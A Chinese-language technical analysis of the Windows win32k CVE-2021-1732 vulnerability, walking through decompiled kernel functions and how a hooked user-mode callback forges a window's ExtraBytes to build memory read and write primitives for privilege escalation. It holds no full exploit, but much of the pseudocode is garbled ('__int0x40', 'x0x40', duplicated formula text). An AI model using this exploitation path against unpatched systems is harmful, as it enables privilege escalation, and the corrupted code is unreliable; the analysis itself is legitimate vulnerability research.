CVE-2021-1732
0x0 漏洞描述
漏洞发生在Windows 图形驱动 w i n 32 k f u l l ! N t U s e r C r e a t e W i n d o w E x \textcolor{cornflowerblue}{win32kfull!NtUserCreateWindowEx} win32kfull!NtUserCreateWindowEx函数中的一处内核回调用户态分配内存与 t a g W N D − > f l a g \textcolor{orange}{tagWND->flag} tagWND−>flag属性设置不同步导致的漏洞。使得可以伪造这个 t a g W N D − > E x t r a B y t e s \textcolor{orange}{tagWND->ExtraBytes} tagWND−>ExtraBytes值 发生内存越界。
当驱动win32kfull.sys调用 N t U s e r C r e a t e W i n d o w E x \textcolor{cornflowerblue}{NtUserCreateWindowEx} NtUserCreateWindowEx创建窗口时会判断 t a g W N D − > c b W n d E x t r a \textcolor{orange}{tagWND->cbWndExtra} tagWND−>cbWndExtra(窗 口实例额外分配内存数),该值不为空时调用 w i n 32 k f u l l ! x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{win32kfull!xxxClientAllocWindowClassExtraBytes} win32kfull!xxxClientAllocWindowClassExtraBytes 函数回调用户层 u s e r 32. d l l ! _ _ x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{user32.dll!\_\_xxxClientAllocWindowClassExtraBytes} user32.dll!__xxxClientAllocWindowClassExtraBytes分配空间,分配后的地址 使用 N t C a l l b a c k R e t u r n \textcolor{cornflowerblue}{NtCallbackReturn} NtCallbackReturn函数修正堆栈后重新返回内核层并保存并继续运行,而当 t a g W N D − > f l a g \textcolor{orange}{tagWND->flag} tagWND−>flag 值包含0x800属性后该保存值变成了一个offset。
攻击者可以Hook u s e r 32. d l l ! x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{user32.dll!_xxxClientAllocWindowClassExtraBytes} user32.dll!xxxClientAllocWindowClassExtraBytes函数调用 N t U s e r C o n s o l e C o n t r o l \textcolor{cornflowerblue}{NtUserConsoleControl} NtUserConsoleControl修改 t a g W N D − > f l a g \textcolor{orange}{tagWND->flag} tagWND−>flag包含0x800属性值后使用 N t C a l l b a c k R e t u r n \textcolor{cornflowerblue}{NtCallbackReturn} NtCallbackReturn返回一个 自定义的值到内核 t a g W N D − > E x t r a B y t e s \textcolor{orange}{tagWND->ExtraBytes} tagWND−>ExtraBytes。
0x1 受影响版本
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM0x40based Systems
Windows 10 Version 20H2 for 32bit Systems
Windows 10 Version 20H2 for x0x40based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x0x40based Systems
Windows 10 Version 2004 for ARM0x40based Systems
Windows 10 Version 2004 for 32bit Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM0x40based Systems
Windows 10 Version 1909 for x0x40based Systems
Windows 10 Version 1909 for 32bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM0x40based Systems
Windows 10 Version 1809 for x0x40based Systems
Windows 10 Version 1809 for 32bit Systems
Windows 10 Version 1803 for ARM0x40based Systems
Windows 10 Version 1803 for x0x40based Systems
0x2 漏洞分析
■ 环境
Win10 x0x40 版本1909(OS 内部版本18363.418)
■ 分析
本分析基于漏洞描述和公开的POC,所以分析的顺序上有些跳跃。分析尽力详细阐述漏洞利用方式和如何编写提权EXP。
根据漏洞描述,首先对 w i n 32 k f u l l ! N t U s e r C r e a t e W i n d o w E x \textcolor{cornflowerblue}{win32kfull!NtUserCreateWindowEx} win32kfull!NtUserCreateWindowEx的相关位置进行逆向分析,发现其实质调用了 x x x C r e a t e W i n d o w E x \textcolor{cornflowerblue}{xxxCreateWindowEx} xxxCreateWindowEx,跟进此函数分析,漏洞点在 x x x C r e a t e W i n d o w E x : 845 \textcolor{orange}{xxxCreateWindowEx:845} xxxCreateWindowEx:845
if ( !(unsigned __int8)tagWND::RedirectedFieldcbwndExtra<int>::operator!=((char *)pWnd + 0xB1, &CurThread)// *(QWORD*)(pWnd[5]+0xc8)!=CurThread
|| (*(_QWORD *)(pWnd[5] // 这里
+ 0x128) = xxxClientAllocWindowClassExtraBytes(*(unsigned int *)(pWnd[5] + 0xC8)),
v0x182 = 0,
!(unsigned __int8)tagWND::RedirectedFieldpExtraBytes::operator==<unsigned __int0x40>(pWnd + 40, &v242)) )
{
...
}
pWnd[5]指向的是tagWND结构, t a g W N D + 0 x C 8 \textcolor{orange}{tagWND+0xC8} tagWND+0xC8指向的是nt!_KTHREAD结构, t a g W N D + 0 x 128 \textcolor{orange}{tagWND+0x128} tagWND+0x128是ExtraBytes,并调用 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes在当前线程下为其窗口分配额外的空间。
volatile void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length)
{
v1 = (unsigned int)Length;
v11 = Length;
if ( gdwInAtomicOperation && (gdwExtraInstrumentations & 1) != 0 )
KeBugCheckEx(0x160u, gdwInAtomicOperation, 0, 0, 0);
ReleaseAndReacquirePerObjectLocks::ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);
LeaveEnterCritProperDisposition::LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);
EtwTraceBeginCallback(123);
ntst = KeUserModeCallback(0x7B, &v11, 4, &OutputBuffer, &retLen);//ApiNumber = 0x7B
EtwTraceEndCallback(123);
LeaveEnterCritProperDisposition::~LeaveEnterCritProperDisposition((LeaveEnterCritProperDisposition *)&v9);
ReleaseAndReacquirePerObjectLocks::~ReleaseAndReacquirePerObjectLocks((ReleaseAndReacquirePerObjectLocks *)&v10);
if ( ntst < 0 || retLen != 0x18 )
return 0;
v3 = OutputBuffer;
if ( (char *)OutputBuffer + 8 < OutputBuffer || (unsigned __int0x40)OutputBuffer + 8 > MmUserProbeAddress )
v3 = (LPVOID)MmUserProbeAddress;
v8 = *(volatile void **)v3;
v4 = v8;
v5 = PsGetCurrentProcessWow0x40Process();
ProbeForRead(v4, v1, v5 != 0 ? 1 : 4);
return v4;
}
x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes通过用户态回调给窗口分配额外的内存,并且要求返回的长度为0x18。 K e U s e r M o d e C a l l b a c k \textcolor{cornflowerblue}{KeUserModeCallback} KeUserModeCallback将ApiNumber作为KernelCallbackTable的索引,找到目标函数。KernelCallbackTable地址可以在 P E B + 0 x 58 \textcolor{orange}{PEB+0x58} PEB+0x58处取得。这里的用户态回调的函数为 u s e r 32 ! x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{user32!xxxClientAllocWindowClassExtraBytes} user32!xxxClientAllocWindowClassExtraBytes
NTSTATUS __fastcall _xxxClientAllocWindowClassExtraBytes(unsigned int *a1)
{
PVOID Result; // [rsp+20h] [rbp-28h] BYREF
int v3; // [rsp+28h] [rbp-20h]
__int0x40 v4; // [rsp+30h] [rbp-18h]
v3 = 0;
v4 = 0;
Result = RtlAllocateHeap(pUserHeap, 8u, *a1);
return NtCallbackReturn(&Result, 0x18u, 0);
}
正常情况下,该函数会使用 R t l A l l o c a t e H e a p \textcolor{cornflowerblue}{RtlAllocateHeap} RtlAllocateHeap函数分配一个桌面堆作为窗口的额外数据空间,并返回0x18大小的数据。这里IDA识别有误,事实上Result是个QWORD数组,元素个数为3,所以返回的数据应该是 { 0 , 0 , H e a p _ a d d r } \textcolor{orange}{\{0,0,Heap\_addr\}} {0,0,Heap_addr}而由于 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes处于用户态下,容易受到用户态的HOOK,将会导致意外结果。为了更好的理解这个漏洞的利用和POC的编写,还需要了解几个关键函数。
■ NtUserConsoleControl逆向分析
__int0x40 __fastcall NtUserConsoleControl(unsigned int ControlCode, volatile void *Process_Info, unsigned int Size)
{
SIZE_T v6; // rsi
unsigned int v7; // ebx
_QWORD Src[3]; // [rsp+40h] [rbp-38h] BYREF
Src[0] = 0;
Src[1] = 0;
Src[2] = 0;
EnterCrit(0, 1);
if ( ControlCode > 6 )
{
v7 = -1073741823;
UserSetLastStatus(-1073741811);
}
else if ( Size > 0x18 )
{
v7 = -1073741811;
}
else if ( Process_Info && Size )
{
v6 = Size;
ProbeForRead(Process_Info, Size, 2u);
memmove(Src, (const void *)Process_Info, Size);
v7 = xxxConsoleControl(ControlCode, (struct _CONSOLE_PROCESS_INFO *)Src, Size);
ProbeForWrite(Process_Info, v6, 2u);
memmove((void *)Process_Info, Src, v6);
}
else
{
v7 = -1073741811;
}
UserSessionSwitchLeaveCrit();
return v7;
}
N t U s e r C o n s o l e C o n t r o l \textcolor{cornflowerblue}{NtUserConsoleControl} NtUserConsoleControl的实质是调用 x x x C o n s o l e C o n t r o l \textcolor{cornflowerblue}{xxxConsoleControl} xxxConsoleControl,并将结果保存在Process_Info中。当 C o n t r o l C o d e = = 6 \textcolor{orange}{ControlCode == 6} ControlCode==6 时将会来到 x x x C o n s o l e C o n t r o l : 131 \textcolor{orange}{xxxConsoleControl:131} xxxConsoleControl:131
__int0x40 __fastcall xxxConsoleControl(__int0x40 ControlCode, struct _CONSOLE_PROCESS_INFO *Consle_Process_Info, int Size){
...
if ( (*(_DWORD *)(*(_QWORD *)pwnd + 0xE8) & 0x800) != 0 )// 一开始的tagWND* pwnd->Flags!=0x800,所以会走else分支
{
Heap_Ptr = (_DWORD *)(*(_QWORD *)(v19 + 0x128) + *(_QWORD *)(*(_QWORD *)(Object_Ptr + 0x18) + 128));
}
else
{ // 通过DeskAllocHeap从桌面堆中分配内存,
// 分配大小由cbWndExtra指定
Heap_Ptr = (_DWORD *)DesktopAlloc(*(_QWORD *)(Object_Ptr + 0x18), *(unsigned int *)(v19 + 0xC8), 0);//①
if ( !Heap_Ptr )
{
v5 = -1073741801;
LABEL_33:
ThreadUnlock1();
return v5;
}
if ( *(_QWORD *)(*(_QWORD *)pwnd + 0x128) )
{
CurEproc = PsGetCurrentProcess(v22, v21, v23, v0x18);
Extra_Size = *(_DWORD *)(*(_QWORD *)pwnd + 0xC8);
Extra_Bytes = *(const void **)(*(_QWORD *)pwnd + 0x128);
memmove(Heap_Ptr, Extra_Bytes, Extra_Size);
if ( (*(_DWORD *)(CurEproc + 0x30C) & 0x40000008) == 0 )// EPROCESS *CurEpro->Flags
xxxClientFreeWindowClassExtraBytes(Object_Ptr, *(LPVOID *)(*(_QWORD *)(Object_Ptr + 0x28) + 0x128));
}
*(_QWORD *)(*(_QWORD *)pwnd + 0x128) = (char *)Heap_Ptr - *(_QWORD *)(*(_QWORD *)(Object_Ptr + 0x18) + 0x80);// 重新设置tagWND *pwnd->Extra_Ptr指针 ②
}
if ( Heap_Ptr )
{
*Heap_Ptr = *((_DWORD *)Consle_Process_Info + 2);
Heap_Ptr[1] = *((_DWORD *)Consle_Process_Info + 3);
}
*(_DWORD *)(*(_QWORD *)pwnd + 0xE8) |= 0x800u;// pwnd->Types ③
goto LABEL_33;
}
}
如果 t a g W N D ∗ p w n d − > F l a g s ! = 0 x 800 \textcolor{orange}{ tagWND* pwnd->Flags\ !=0x800} tagWND∗pwnd−>Flags !=0x800,则会重新分配一个桌面堆**@line:10**,并将 t a g W N D ∗ p w n d − > E x t r a B y t e s \textcolor{orange}{ tagWND* pwnd->ExtraBytes} tagWND∗pwnd−>ExtraBytes设置为基于桌面堆的偏移**@line:27**。 ∗ ( _ Q W O R D ∗ ) ( ∗ ( _ Q W O R D ∗ ) ( O b j e c t _ P t r + 0 x 18 ) + 0 x 80 ) \textcolor{orange}{*(\_QWORD *)(*(\_QWORD *)(Object\_Ptr + 0x18) + 0x80)} ∗(_QWORD∗)(∗(_QWORD∗)(Object_Ptr+0x18)+0x80)存放的是当前窗口所在桌面堆的起始地址。然后将 t a g W N D ∗ p w n d − > T y p e s ∣ = 0 x 800 \textcolor{orange}{ tagWND* pwnd->Types\ |=\ 0x800} tagWND∗pwnd−>Types ∣= 0x800,以此标记该窗口的额外数据采用桌面堆**+偏移的寻址方式@line:34**,这直接影响的是诸如**SetWindowLong***系列函数对其窗口的设置。
■ xxxSetWindowLong逆向分析
在 _ o f s e t > 0 \textcolor{orange}{\_ofset>0} _ofset>0 的情况下,函数流程如下
__int0x40 __fastcall xxxSetWindowLong(CPullPin *this, int _offset, unsigned int NewLong, __int0x40 a4, int a5)
{
...
v5 = a4;
*(_QWORD *)&NewLong = NewLong;
offset = a2;
v9 = 0;
if ( !(unsigned int)FCallerOk(this) )
goto LABEL_28;
...
LABEL_5:
v13 = *((_QWORD *)this + 5);
if ( (*(_WORD *)(v13 + 42) & 0x3FFF) != 0 )
{
v23 = (unsigned int *)safe_cast_wf_to_PDIALOG(this);
...
}
result = v13;
if ( (int)offset < 0 )
{
...
LABEL_46:
offset = 1413;
LABEL_37:
UserSetLastError(offset);
if ( v9 )
KeDetachProcess();
return 0;
}
LABEL_7:
v15 = *(unsigned int *)(result + 0xFC); // 实际调试发现,v15=0
if ( (unsigned __int0x40)(unsigned int)offset + 4 > (unsigned int)(v15 + *(_DWORD *)(result + 0xC8)) )// offset不能超过tagWND->cbWndExtra-4 ①
goto LABEL_46;
...
LABEL_10:
v17 = (int)offset;
if ( (int)offset + 4 <= v15 )
{
v30 = *((_QWORD *)this + 0x23);
OldLong = *(_DWORD *)((int)offset + v30);
*(_DWORD *)(v17 + v30) = NewLong;
}
else
{
v18 = offset - v15;
if ( (*(_DWORD *)(v13 + 0xE8) & 0x800) != 0 )//②
v19 = (unsigned int *)(*(_QWORD *)(v13 + 0x128) + v18 + *(_QWORD *)(*((_QWORD *)this + 3) + 0x80));
else
v19 = (unsigned int *)(*(_QWORD *)(v13 + 0x128) + v18);
OldLong = *v19;//②
*v19 = NewLong;//③
}
LABEL_14:
if ( v9 )
KeDetachProcess();
return OldLong;//④
}
在 o f f s e t < = t a g W N D − > c b W n d E x t r a − 4 \textcolor{orange}{offset\ <=\ tagWND->cbWndExtra-4} offset <= tagWND−>cbWndExtra−4时,会判断 t a g W N D − > T y p e s \textcolor{orange}{tagWND->Types} tagWND−>Types ①。如果标记了0x800,则会采用桌面堆(DeskHeap)+偏移(offset)的方式,向 D e s k H e a p + t a g W N D − > E x t r a B y t e s \textcolor{orange}{DeskHeap+tagWND->ExtraBytes} DeskHeap+tagWND−>ExtraBytes写入NewLong;没有标记0x800,则直接向 t a g W N D − > E x t r a B y t e s \textcolor{orange}{tagWND->ExtraBytes} tagWND−>ExtraBytes写入NewLong,最后返回旧的值②③④。该函数对应的用户层接口为 S e t W i n d o w L o n g \textcolor{cornflowerblue}{SetWindowLong} SetWindowLong。
■ xxxSetWindowLongPtr逆向分析
unsigned __int0x40 __fastcall xxxSetWindowLongPtr(struct tagWND *this, int nIndex, __int0x40 NewLong, __int0x40 a4, int a5)
{
...
...
if ( (int)nIndex_1 < 0 )
goto LABEL_7;
if ( (int)nIndex_1 >= 0 )
{
LABEL_24:
tagWnd_1 = *((_QWORD *)pkwnd + 5);
v24 = *(unsigned int *)(tagWnd_1 + 0xFC); // 实际调试发现v24=0
if ( (unsigned __int64)(unsigned int)nIndex_1 + 8 <= (unsigned int)(v24 + *(_DWORD *)(tagWnd_1 + 0xC8)) )
{
...
v25 = *(_WORD **)(*((_QWORD *)pkwnd + 0x11) + 8i64);
if ( (v25[3] & 0x100) == 0 )
goto LABEL_27;
v40 = 0i64;
v41 = &gDefaultServerClasses;
while ( *v25 != *(_WORD *)(gpsi + 2i64 * ((*v41 >> 3) & 0x1F) + 0x364) )
{
v40 = (unsigned int)(v40 + 1);
v41 += 12;
if ( (unsigned int)v40 >= 8 )
goto LABEL_27;
}
if ( (int)nIndex_1 >= *((_DWORD *)&gDefaultServerClasses + 12 * v40 + 6)
|| (*v41 & 0xF8) == 0xB0 && (unsigned __int64)((int)nIndex_1 + 8i64) <= 0xFFFFFFFFFFFFFEE0ui64 )
{
LABEL_27:
v26 = (int)nIndex_1;
if ( (int)nIndex_1 + 8i64 <= v24 )
{
...
}
else
{
offset = nIndex_1 - v24;//实际上v24=0,所以offset=nIndex_1=nIndex
if ( (*(_DWORD *)(tagWnd_1 + 0xE8) & 0x800) != 0 )
LongPtr = (__int64 *)(*(_QWORD *)(tagWnd_1 + 0x128) + offset + *(_QWORD *)(*((_QWORD *)pkwnd + 3) + 128i64));
else
LongPtr = (__int64 *)(*(_QWORD *)(tagWnd_1 + 0x128) + offset);
OldLongPtr = *LongPtr;
*LongPtr = NewLongPtr;
}
goto LABEL_8;
}
v39 = 5i64;
LABEL_51:
UserSetLastError(v39);
if ( v9 )
KeDetachProcess();
return 0i64;
}
LABEL_50:
v39 = 1413i64;
goto LABEL_51;
}
LABEL_7:
OldLongPtr = xxxSetWindowData(pkwnd, nIndex_1, NewLongPtr, v5);
...
}
-
当 n I n d e x = 0 \textcolor{orange}{nIndex=0} nIndex=0时,会向 t a g W N D − > E x t r a B y t e s \textcolor{orange}{tagWND->ExtraBytes} tagWND−>ExtraBytes写入NewLong
-
当 n I n d e x > 0 \textcolor{orange}{nIndex > 0} nIndex>0且 n I n d e x < 0 x F F F F F F F F F F F F F E E 0 − 8 \textcolor{orange}{nIndex<0xFFFFFFFFFFFFFEE0-8} nIndex<0xFFFFFFFFFFFFFEE0−8时,就会设置 t a g W n d − > E x t r a B y t e s \textcolor{orange}{tagWnd->ExtraBytes} tagWnd−>ExtraBytes @line:39 @line:43 @line:44
-
当 n I n d e x < 0 \textcolor{orange}{nIndex<0} nIndex<0时,调用 x x x S e t W i n d o w D a t a \textcolor{cornflowerblue}{xxxSetWindowData} xxxSetWindowData,对于该函数重点关注 n I n d e x = − 12 \textcolor{orange}{nIndex=-12} nIndex=−12的情况,因为POC利用过这个情况
unsigned __int0x40 __fastcall xxxSetWindowData(CPullPin *this, unsigned int nIndex, __int0x40 NewLong, unsigned int a4)
{
...
switch ( nIndex )
{
case 0xFFFFFFF4://-12 设置子窗口的新标识符。该窗口不能是顶级窗口。
v46 = *((_QWORD *)this + 5);
if ( (*(_BYTE *)(v46 + 0x1F) & 0xC0) == 0x40 )
{
result = *((_QWORD *)this + 0x15);
*(_QWORD *)(v46 + 0x98) = NewLong;
*((_QWORD *)this + 0x15) = NewLong;
}
else
{
v47 = (unsigned __int0x40 *)*((_QWORD *)this + 21);
result = 0;
if ( v47 )
result = *v47;
if ( NewLong )
{
v48 = ValidateHmenu(NewLong);
v62 = 0;
SmartObjStackRefBase<tagMENU>::operator=(&v60, v48);
if ( (unsigned __int8)SmartObjStackRef<tagMENU>::operator==(&v60, v49) )
{
LABEL_91:
result = 0;
goto LABEL_0x60;
}
LockWndMenuWorker(this, 0, &v60);
}
else
{
UnlockWndMenuWorker(this, 0);
}
}
goto LABEL_0x60;
}
...
}
当 t a g W N D − > S t y l e \textcolor{orange}{tagWND->Style} tagWND−>Style包含WS_CHLD时**@line:8**, t a g W n d − > s p M e n u = N e w L o n g \textcolor{orange}{tagWnd->spMenu = NewLong} tagWnd−>spMenu=NewLong @line:12,这里将会是后面获取读原语的切入点。
■ CreateWindowEx生成HWND分析
C r e a t e W i n d o w E x \textcolor{cornflowerblue}{CreateWindowEx} CreateWindowEx调用内核的 x x x C r e a t e W i n d o w E x \textcolor{cornflowerblue}{xxxCreateWindowEx} xxxCreateWindowEx函数,其532行:
WndObject = HMAllocObject(CurThread_1, rdesk, Type, 0x150);
pWnd = (_QWORD *)WndObject;
v217 = (_QWORD *)WndObject;
if ( !WndObject )
{
if ( (unsigned int)UserGetLastError() != 8 )
goto LABEL_569;
v39 = MEMORY[0xFFFFF78000000320];
v0x181 = MEMORY[0xFFFFF78000000320];
v40 = 1;
LABEL_77:
v41 = ((unsigned __int0x40)MEMORY[0xFFFFF78000000004] << 32) * (unsigned __int128)(unsigned __int0x40)(v39 << 8);
LABEL_78:
TraceLoggingCreateWindowFailed(v40, *((unsigned __int0x40 *)&v41 + 1));
goto LABEL_569;
}
tagObjLock::LockInitialize((tagObjLock *)(WndObject + 0x38));
if ( (*(_DWORD *)(*(_QWORD *)(pWnd[2] + 0x1A0) + 0x32C) & 0x2000000) != 0 )
*((_DWORD *)pWnd + 0x52) |= 0x10u;
*(_QWORD *)(pWnd[5] + 0x128) = 0;
pWnd[35] = 0;
*(_DWORD *)(pWnd[5] + 0xE8) &= 0xBFFFFFFF;
*(_DWORD *)(pWnd[5] + 0x124) = W32GetCurrentThreadDpiHostingBehavior();
...
H M A l l o c O b j e c t \textcolor{cornflowerblue}{HMAllocObject} HMAllocObject中的CurThread_1表示当前的线程信息,rdesk表示 p t i C u r r e n t − > r d e s k \textcolor{orange}{ptiCurrent->rdesk} ptiCurrent−>rdesk,这里的Type为1表示Windows,WndObject即是tagWND。
...
if ( (v9 & 0x10) != 0 && rdesk )
{
if ( (int)IsDesktopAllocSupported() < 0 )
goto LABEL_67;
tagWndKernel = (unsigned __int0x40 *)HMAllocateUserOrIsolatedType(Size, v9, type_1);
if ( !tagWndKernel )
goto LABEL_67;
DeskHeap = DesktopAlloc(rdesk, *(unsigned int *)((char *)&gahti + v38 + 16), ((unsigned __int8)type_1 << 16) | 5u);
tagWndKernel[5] = DeskHeap;
if ( !DeskHeap )
{
HMFreeUserOrIsolatedType(v9, type_1, tagWndKernel);
goto LABEL_67;
}
LockObjectAssignment(tagWndKernel + 3, rdesk);
DeskHeap_1 = tagWndKernel[5];
tagWndKernel[4] = (unsigned __int0x40)tagWndKernel;
tagWndKernel[6] = DeskHeap_1 - *(_QWORD *)(rdesk + 0x80);
}
...
hwnd = (int)v15 | (unsigned __int0x40)(*(unsigned __int16 *)((char *)qword_1C0215758
+ v15 * (unsigned int)dword_1C02150x4C0
+ 26) << 16);
*tagWndKernel = hwnd;
if ( *(_DWORD *)((char *)&gahti + v38 + 16) )
{
tagWnd = (unsigned __int0x40 *)tagWndKernel[5];
*tagWnd = hwnd;
tagWnd[1] = tagWndKernel[6];
}
if ( v4 )
{
v22 = ++*(_DWORD *)(v4 + 0x44);
if ( v22 > *(_DWORD *)(v4 + 0x48) )
*(_DWORD *)(v4 + 0x48) = v22;
}
当 T y p e = 1 \textcolor{orange}{Type=1} Type=1时,采用桌面堆进行分配。hwnd的计算方式见**@ line:22**
- t a g W n d [ 0 ] \textcolor{orange}{tagWnd[0]} tagWnd[0]保存窗口句柄hwnd
- t a g W n d [ 1 ] \textcolor{orange}{tagWnd[1]} tagWnd[1]保存着tagWnd地址与桌面堆地址的偏移
■ CreateMenu逆向分析
调用流程: C r e a t e M e n u ( ) − > N t U s e r C a l l N o P a r a m ( 0 ) − > a p f n S i m p l e C a l l [ 0 ] ( ) − > I n t e r n a l C r e a t e M e n u ( 0 , a 2 , a 3 ) \textcolor{orange}{CreateMenu()->NtUserCallNoParam(0)->apfnSimpleCall[0]()->InternalCreateMenu(0, a2, a3)} CreateMenu()−>NtUserCallNoParam(0)−>apfnSimpleCall[0]()−>InternalCreateMenu(0,a2,a3)
__int64 __fastcall InternalCreateMenu(int a1, __int64 a2, __int64 type)
{
__int64 v4; // rsi
__int64 pMenu; // rax
__int64 pMenu_1; // rbx
//做一些检查
v4 = *(_QWORD *)(gptiCurrent + 0x1C0i64);
if ( *(_QWORD *)(gptiCurrent + 0x248i64)
&& !(unsigned int)CheckGrantedAccess(*(unsigned int *)(gptiCurrent + 0x378i64), 4i64) )
{
return 0i64;
}
LOBYTE(tyep) = 2;
//根据类型分配对象
pMenu = HMAllocObject(gptiCurrent, v4, type, 160i64);
pMenu_1 = pMenu;
if ( pMenu )
{
if ( !(unsigned __int8)InitLookAsideRef<tagMENU>(pMenu) )
{
HMFreeObject(pMenu_1);
pMenu_1 = 0i64;
}
if ( pMenu_1 )
{
if ( a1 )//a1=0
{
*(_DWORD *)(*(_QWORD *)(pMenu_1 + 0x28) + 0x28i64) = 1;
*(_QWORD *)(pMenu_1 + 0x80) = 0i64;
*(_QWORD *)(pMenu_1 + 0x88) = 0i64;
*(_DWORD *)(pMenu_1 + 0x90) = 0;
}
}
}
return pMenu_1;
}
char __fastcall InitLookAsideRef<tagMENU>(__int64 pMenu)
{
__int64 *KernelHeap; // rax
if ( !gpStackRefLookAside )
KeBugCheck(4u);
KernelHeap = (__int64 *)Win32AllocateFromPagedLookasideList();//返回0x20大小的KernelHeap
*(_QWORD *)(pMenu + 0x98) = KernelHeap;
if ( KernelHeap )
{
*KernelHeap = pMenu;
*(_DWORD *)(*(_QWORD *)(pMenu + 0x98) + 8i64) = 0;
*(_BYTE *)(*(_QWORD *)(pMenu + 0x98) + 0xCi64) = 0;
LOBYTE(KernelHeap) = 1;
}
return (char)KernelHeap;
}
仅仅通过这个函数并不能知晓其中涉及到的tagMenu偏移的具体含义,这的目的只是弄明白tagMenu一些必要的偏移量的设置,后面编写POC需要用到。该函数只设置了tagMenu偏移为0x98的成员。 t a g M e n u + 0 x 98 \textcolor{orange}{tagMenu+0x98} tagMenu+0x98是一个指针,指向tagMenu结构自身。
■ xxxGetMenuBarInfo逆向分析
x x x G e t M e n u B a r I n f o \textcolor{cornflowerblue}{xxxGetMenuBarInfo} xxxGetMenuBarInfo由 N t U s e r G e t M e n u B a r I n f o \textcolor{cornflowerblue}{NtUserGetMenuBarInfo} NtUserGetMenuBarInfo调用, N t U s e r G e t M e n u B a r I n f o \textcolor{cornflowerblue}{NtUserGetMenuBarInfo} NtUserGetMenuBarInfo对应的用户态函数为 G e t M e n u B a r I n f o \textcolor{cornflowerblue}{GetMenuBarInfo} GetMenuBarInfo。漏洞利用到该函数位置为
...
switch ( idObject )
{
case -3:
if ( (*(_BYTE *)(tagWND + 0x1F) & 0x40) != 0 )// tagWND->Style 包含 WS_CHLD
goto LABEL_9;
pMenu = Khwnd[0x15]; // 0xA8
if ( !pMenu )
goto LABEL_9;
v75 = 0;
SmartObjStackRefBase<tagMENU>::operator=(&tagMenu, pMenu);
if ( !(unsigned __int8)SmartObjStackRef<tagMENU>::operator bool(&tagMenu)
|| (int)idItem_1 < 0
|| (unsigned int)idItem_1 > *((_DWORD *)(*tagMenu)[5] + 0xB) )//tagMenu->idItem
{
goto LABEL_9;
}
phMenu = v75;
if ( !v75 )
phMenu = *tagMenu;
BarInfo->hMenu = *phMenu;
if ( *((_DWORD *)*tagMenu + 0x10) && *((_DWORD *)*tagMenu + 0x11) )//尚不明确其含义,经测试只要是有一个菜单项,且菜单位于窗口之上就能通过该条件判断
{
if ( (_DWORD)idItem_1 ) // idItem表示菜单项
{
tagWnd = Khwnd[5];
Next = 0x60 * idItem_1;
MenuEntry = (*tagMenu)[0xB];//菜单项链表头
//根据idItem定位菜单项
rgItems = *((_QWORD *)MenuEntry + 0xC * idItem_1 - 0xC);// tagWND->spmenu->rgItems
if ( (*(_BYTE *)(tagWnd + 0x1A) & 0x40) != 0 )
{
top = *(_DWORD *)(tagWnd + 0x60) - *(_DWORD *)(rgItems + 0x40);
BarInfo->rcBar.top = top;
HIDWORD(BarInfo->cbSize) = top - *(_DWORD *)(*(_QWORD *)((char *)MenuEntry + Next - 0x60) + 0x48);
}
else//经测试,一般走else分支,包括POC
{
cbSize = *(_DWORD *)(rgItems + 0x40) + *(_DWORD *)(tagWnd + 0x58);
HIDWORD(BarInfo->cbSize) = cbSize;
BarInfo->rcBar.top = cbSize + *(_DWORD *)(*(_QWORD *)((char *)MenuEntry + Next - 0x60) + 0x48);
}
//left = pMenu->left + tagWnd->left
left = *(_DWORD *)(*(_QWORD *)((char *)MenuEntry + Next - 0x60) + 0x44) + *(_DWORD *)(Khwnd[5] + 0x5C);
BarInfo->rcBar.left = left;
//right = left + pMenu->right
right = left + *(_DWORD *)(*(_QWORD *)((char *)MenuEntry + Next - 0x60) + 0x4C);
}
else...
BarInfo->rcBar.right = right;
}
pPopMenuEntry = *(__int64 **)(Khwnd[2] + 0x258);
if ( pPopMenuEntry )
pPopMenu_1 = *pPopMenuEntry;
else
pPopMenu_1 = 0;
SmartObjStackRefBase<tagPOPUPMENU>::operator=(&tagPopupMenu, pPopMenu_1);
if ( *(_QWORD *)tagPopupMenu && (**(_DWORD **)tagPopupMenu & 2) != 0 && (**(_DWORD **)tagPopupMenu & 4) == 0 )
{
LABEL_60:
if ( *(_QWORD **)(*(_QWORD *)tagPopupMenu + 8) != Khwnd )
break;
v46 = *(_DWORD *)&BarInfo->fBarFocused | 1;
*(_DWORD *)&BarInfo->fBarFocused = v46;
if ( (_DWORD)idItem_1 )
{
if ( *(_DWORD *)(*(_QWORD *)(*(_QWORD *)tagPopupMenu + 0x40) + 0x50) != (_DWORD)idItem_1 - 1 )
break;
v47 = tagPopupMenu;
*(_DWORD *)&BarInfo->fBarFocused |= 2u;
if ( *(_QWORD *)(*(_QWORD *)(*(_QWORD *)v47 + 0x40) + 0x18) )
{
hwndMenu = **(HWND **)(*(_QWORD *)(*(_QWORD *)tagPopupMenu + 0x40) + 0x18);
LABEL_106:
BarInfo->hwndMenu = hwndMenu;
break;
}
LABEL_104:
hwndMenu = 0;
goto LABEL_106;
}
goto LABEL_101;
}
break;
...
}
...
可见利用 G e t M e n u B a r I n f o \textcolor{cornflowerblue}{GetMenuBarInfo} GetMenuBarInfo需要满足的要求是
- i d O b j e c t = − 3 \textcolor{orange}{idObject = -3} idObject=−3 @line:4
- t a g W n d − > S t y l e \textcolor{orange}{tagWnd->Style} tagWnd−>Style包含WS_CHLD @line:5
